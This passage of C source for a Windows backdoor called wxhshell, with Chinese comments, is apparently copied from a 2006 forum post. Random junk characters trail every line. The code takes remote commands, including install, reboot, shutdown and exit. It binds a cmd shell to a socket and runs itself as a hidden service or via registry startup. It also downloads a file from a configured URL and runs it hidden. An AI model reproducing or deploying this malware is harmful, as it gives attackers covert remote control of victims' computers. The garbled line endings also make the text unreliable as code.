  case '?': { %cE 2s`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^<LY4^  
    break; R\XKMF3mN3  
  } CgzD$`~  
  // 安装 y^]tahbo  
  case 'i': { u_7~TE3W  
    if(Install()) *>VVt8*Et  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _ Ro!"YVX  
    else l2;CQ7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E~LT b) !  
    break; 9b?SHzAa  
    } nenU)*o  
  // 卸载 ~EK'&Y"1  
  case 'r': { kD bhu^~B  
    if(Uninstall()) N{-]F|XX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); _z[#}d;k  
    else P ~PIMkt  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); o[H{(f 1%  
    break; :SxW.?[%u  
    } ;/j= Ny{9  
  // 显示 wxhshell 所在路径 c{[q>@y pK  
  case 'p': { )P7)0c  
    char svExeFile[MAX_PATH];  :ujCr.  
    strcpy(svExeFile,"\n\r"); 9<K j6t_  
      strcat(svExeFile,ExeFile); +:3*  
        send(wsh,svExeFile,strlen(svExeFile),0); sBV 4)xM  
    break; >a3p >2  
    } V5U?F6  
  // 重启 %%cHoprDa  
  case 'b': { y^7}oH _  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vP+@z-O  
    if(Boot(REBOOT)) n]dL?BJ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pH`44KAuM  
    else { p _d:eZ  
    closesocket(wsh); erO>1 ,4S  
    ExitThread(0); GWvH[0  
    } 9}z0J  
    break; QM?#{%31  
    } XT;u<aJs  
  // 关机 o!Rd ^  
  case 'd': { 'Wa,OFd\8  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); si4don  
    if(Boot(SHUTDOWN)) 1".v6caW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0j C3fT!n  
    else { M`6y@<  
    closesocket(wsh); h5yzwj:C?  
    ExitThread(0); :UJa&$)  
    } wCk~CkC?  
    break; P]z[v)}  
    } ]jpu,jz:  
  // 获取shell b~-%c_  
  case 's': { <9> vO,n  
    CmdShell(wsh); ]:34kE}e5  
    closesocket(wsh); 5s?Hxn  
    ExitThread(0); _{jjgQJ5  
    break; "`asF g  
  } 1He{v#  
  // 退出 @AYRiOodi  
  case 'x': { jSc#+_y  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); L],f3<  
    CloseIt(wsh); S(:l+JP  
    break; t20PP4FWM  
    } ^*\XgX  
  // 离开 a6kV!,.U  
  case 'q': { <'G~8tA%v  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ~H6r.:]  
    closesocket(wsh); _4cvX  
    WSACleanup(); ){r2T1+-%  
    exit(1); c)0amM  
    break; $wYFEz  
        } >hH0Q5aL  
  } ,ZS6jZ  
  } !a$ D4(`v  
mXUYQ 82  
  // 提示信息 -Z-IF#%  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ](F#`zUQ  
} 9_sA&2P{uV  
  } *%vwM7  
DQwGUF'(  
  return; J9T3nTfL  
} /.M+fr S  
bqQq=SO  
// shell模块句柄 Tlj:%yK2  
int CmdShell(SOCKET sock) t*@z8<H  
{ .@Ut?G  
STARTUPINFO si; N8`?t5  
ZeroMemory(&si,sizeof(si)); ^t7x84jhL  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OiDhJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ^s.V;R  
PROCESS_INFORMATION ProcessInfo; mZIoaF>t  
char cmdline[]="cmd"; n&MG7`]N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); SE7WF18A  
  return 0; ASPy  
} h d~$WV0#  
wv^rS^~  
// 自身启动模式 lnGq :-  
int StartFromService(void) %P;Q|v6/|  
{ Quf_'  
typedef struct )bx_;9Y{  
{ RllY-JBO  
  DWORD ExitStatus; ;WL1B   
  DWORD PebBaseAddress; 6WoAs)ZF  
  DWORD AffinityMask; 7*DMVok:  
  DWORD BasePriority; 1}ZKc=Pfu  
  ULONG UniqueProcessId; `pd&se'p  
  ULONG InheritedFromUniqueProcessId; 0b91y3R+  
}   PROCESS_BASIC_INFORMATION; (Toq^+`c  
e"r)R8  
PROCNTQSIP NtQueryInformationProcess; #y|V|nd  
>+5?F*`\D*  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;V<iL?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; DP/J (>eG  
$hxN hI  
  HANDLE             hProcess; >!6i3E^  
  PROCESS_BASIC_INFORMATION pbi; )EyI0R]5  
+jC*'7p@  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); OdI\B   
  if(NULL == hInst ) return 0; Hx$c N  
9;%CHb&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); *c[2C  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S]sk7  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |lH;Fq{\  
j'i0*"x  
  if (!NtQueryInformationProcess) return 0; ZtVAEIZ)  
y$hp@m'@C  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); midsnG+jnf  
  if(!hProcess) return 0; TO,rxf  
`IINq{Zk  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FI8Oz,  
A$g+K,.l  
  CloseHandle(hProcess); G1 o70  
^7]"kg DA  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fQ>4MKLw=d  
if(hProcess==NULL) return 0; ]aCk_*U  
l!E7A Kk8  
HMODULE hMod; #<( = }?  
char procName[255]; c^8o~K>w84  
unsigned long cbNeeded; +*oS((0s  
d +iR/Ssc  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /9y aW7w  
S'~o,`xy  
  CloseHandle(hProcess); <*H^(0  
uR6w|e`  
if(strstr(procName,"services")) return 1; // 以服务启动 #sKWd  
h?\2 _s  
  return 0; // 注册表启动 &p<(_|Af  
} CBf7]n0H  
CLKov\U\  
// 主模块 CGw--`#\  
int StartWxhshell(LPSTR lpCmdLine) pO<-.,  
{ URcR  
  SOCKET wsl; 2Ha5yaTL  
BOOL val=TRUE; 1gO2C $  
  int port=0; ngulcv  
  struct sockaddr_in door; iNCX:Y  
*0Gz)'  
  if(wscfg.ws_autoins) Install(); 0h$GI"dR  
)_zlrX  
port=atoi(lpCmdLine); RANPi\]  
#y]3LC#)^G  
if(port<=0) port=wscfg.ws_port; yj@tV2  
M4Z@O3OI E  
  WSADATA data; !}3,B28  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; P];JKE%  
u%O-;>J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ]Pn !nSg  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f7}"lG]q  
  door.sin_family = AF_INET; z/&;{J  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); TPO1 GF  
  door.sin_port = htons(port);  H'RL62!  
6*GjP ;S =  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Mu_i$j$vvP  
closesocket(wsl); T#:F]=  
return 1; vd#,DU=p!  
} 2>S~I"o0  
?3sT" r_d@  
  if(listen(wsl,2) == INVALID_SOCKET) { MWuXI1  
closesocket(wsl); Y ?]G}5  
return 1; F>|9 52  
} {F*N=pSq  
  Wxhshell(wsl); ;Hm'6TR!  
  WSACleanup(); rqCa 2  
wCZO9sU:6=  
return 0; QL"gWr`R  
D_|B2gdZY  
} hQJWKAf,/  
a! Yb1[  
// 以NT服务方式启动 nN`"z3o  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {g/wY%u=  
{ dhRJg"vrQ  
DWORD   status = 0; 0rMqWP  
  DWORD   specificError = 0xfffffff; OsW"CF2  
+?-qfp,:0  
  serviceStatus.dwServiceType     = SERVICE_WIN32; twqFs  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; j~ym<-[{a  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ( (3t:  
  serviceStatus.dwWin32ExitCode     = 0; SqB/4P   
  serviceStatus.dwServiceSpecificExitCode = 0; m>Ux`Gp+  
  serviceStatus.dwCheckPoint       = 0; GCE!$W  
  serviceStatus.dwWaitHint       = 0; AvRcS]@=  
{K aN,td9  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); KS!yT_O  
  if (hServiceStatusHandle==0) return; ui.'^F<  
;?9A(q_Z  
status = GetLastError(); 7#4%\f+'t  
  if (status!=NO_ERROR) "!&B4  
{ 0*(K DDv  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; GXb47_b^  
    serviceStatus.dwCheckPoint       = 0; *Jnh";~b  
    serviceStatus.dwWaitHint       = 0; Md(JIlh3  
    serviceStatus.dwWin32ExitCode     = status; `\FI7s3b  
    serviceStatus.dwServiceSpecificExitCode = specificError; K_-MkY?+  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =mrY/ :V  
    return; LZWS^77  
  } |Mg }2!/L  
6zYaA  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; (:?&G9k "  
  serviceStatus.dwCheckPoint       = 0; 'tWAuI  
  serviceStatus.dwWaitHint       = 0; o<4D=.g7D  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dt-K  
} QJ<[Zx  
n!.2aq  
// 处理NT服务事件,比如:启动、停止 t!l%/$-  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :4;S"p  
{ <%!J?  
switch(fdwControl) .:0M+Jr"  
{ F/<qE!(  
case SERVICE_CONTROL_STOP: GAU!_M5N  
  serviceStatus.dwWin32ExitCode = 0; yKDZ+3xK]  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; sMi{"`37  
  serviceStatus.dwCheckPoint   = 0; $v&C@l \  
  serviceStatus.dwWaitHint     = 0; |QYZRz  
  { oa0X5}D  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); J/S{FxNe]  
  } ^@_).:oX7  
  return; _^; ;i4VZ  
case SERVICE_CONTROL_PAUSE: KSOO?X0j  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; u(9X  
  break; UD*+"~  
case SERVICE_CONTROL_CONTINUE: ]V<"(?,K  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; :o\5K2]:  
  break; B T7Id  
case SERVICE_CONTROL_INTERROGATE: Qq0O0U  
  break; E/"SU*Co  
}; `` -k{C#F  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^g]xU1] *  
} =x4a~=HX  
9-- dRTG  
// 标准应用程序主函数 =h\E<dw  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "]<}Hy  
{ ]31$KBC  
F50 JJZ  
// 获取操作系统版本 Yq0# #__  
OsIsNt=GetOsVer(); 4g!7 4a  
GetModuleFileName(NULL,ExeFile,MAX_PATH); F!R2_89iy  
" dT>KQ  
  // 从命令行安装 N*1  
  if(strpbrk(lpCmdLine,"iI")) Install(); 6K// 1U$  
Q [:<S/w  
  // 下载执行文件 R9=K(pOT  
if(wscfg.ws_downexe) { e`ex]py<C  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !w=,p.?V=  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;.0LRWcJ  
} 3uO8v{`  
[0op)Kn  
if(!OsIsNt) { a 2Et,WA%  
// 如果时win9x,隐藏进程并且设置为注册表启动 a>(~C'(<  
HideProc(); N?^_=KE@  
StartWxhshell(lpCmdLine); .D3`'K3t{[  
} ^N{X "  
else \P@S"QO  
  if(StartFromService()) pE(sV{PD  
  // 以服务方式启动 lbofF==(  
  StartServiceCtrlDispatcher(DispatchTable); z `@z  
else 82 .HH5Z{  
  // 普通方式启动 gUb "3g0  
  StartWxhshell(lpCmdLine); ~ a >S#S  
dgY5ccP  
return 0; ecT]p  
}
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只看该作者 1 发表于: 2006-10-10
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